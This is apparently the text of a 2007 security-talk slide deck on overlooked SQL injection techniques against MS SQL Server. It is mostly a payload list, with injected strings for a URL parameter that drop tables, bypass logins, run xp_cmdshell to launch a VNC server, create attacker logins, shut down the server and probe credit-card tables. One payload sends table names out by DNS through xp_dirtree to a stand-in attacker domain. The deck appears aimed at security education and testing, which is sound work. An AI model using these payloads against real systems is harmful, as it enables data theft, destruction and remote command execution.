Overlooked SQL Injection 20071021
Overlooked SQL Injection 20071021
Comic Relief
Source: http://xkcd.com/327/
Outline
Integers and other non string values
Common Tests Overlooked Tests Alphanumeric Tests
Strings
Common Tests Overlooked Tests Alphanumeric Tests
Attack Examples
Common Attacks Overlooked Attacks Alphanumeric Attacks
Common Attacks
?errorcode=2; DROP TABLE tablename ?errorcode=2 UNION SELECT ?errorcode=2; if (SELECT user)=dbo waitfor DELAY 00:00:20 ?errorcode=2 and (substring(apple,1,1))=(a) Username:or 2=2 Password:or 2=2 Username: admin--
Overlooked Attacks
?errorcode=(SELECT TOP 1 name FROM sysobjects WHERE xtype=u) ?errorcode=2 exec master.dbo.xp_cmdshell vncserver (does not require semicolon or quotes if single command) ?errorcode=2 INSERT INTO OPENROWSET() ?errorcode=22; exec(N' declare @s varchar(200); select @s=''\\''+name+''-''+''.AttackersDomain.com\file''f rom sysobjects; exec master.dbo.xp_dirtree @s')
Alphanumeric Attacks
?errorcode=2 UNION SELECT name FROM sysobjects ?errorcode=2 CREATE LOGIN attacker ?errorcode=2 CREATE DATABASE attackersDatabase ?errorcode=2 SELECT name INTO attackerstable FROM sysobjects ?errorcode=2 ALTER TABLE errormessages ADD attackerscolumn INT ?errorcode=2 DROP TABLE tablename ?errorcode=2 shutdown ?errorcode=2 HAVING 1 LIKE 1 (Discloses column name) ?errorcode=2 order by 4 (this helps to disclose the number of columns) ?errorcode=2 USE databasename ?errorcode=2 SELECT null from creditcards ?errorcode=2 SELECT null from nonexistenttable ?errorcode=2 select cardnumber from creditcards ?errorcode=2 select nonexistentcolumn from creditcards ?errorcode=2 or errorcode like 1 ?errorcode=2 or nonexistentcolumn like 1 ?errorcode=2 or errorcode between 0 and 99999999
Common Resources
http://www.ngssoftware.com/research/pap ers/sqlinference.pdf http://www.0x000000.com/?i=14&bin=111 0 http://ferruh.mavituna.com/makale/sqlinjection-cheatsheet/ http://ha.ckers.org/sqlinjection/ http://www.spidynamics.com/assets/docu ments/Blind_SQLInjection.pdf
Overlooked Resources
SQLzoo.net msdn2.microsoft.com Hackme.mightyseek.com http://www.inspectit.se/dc15.html
AlphaNumeric Resources
Just Kidding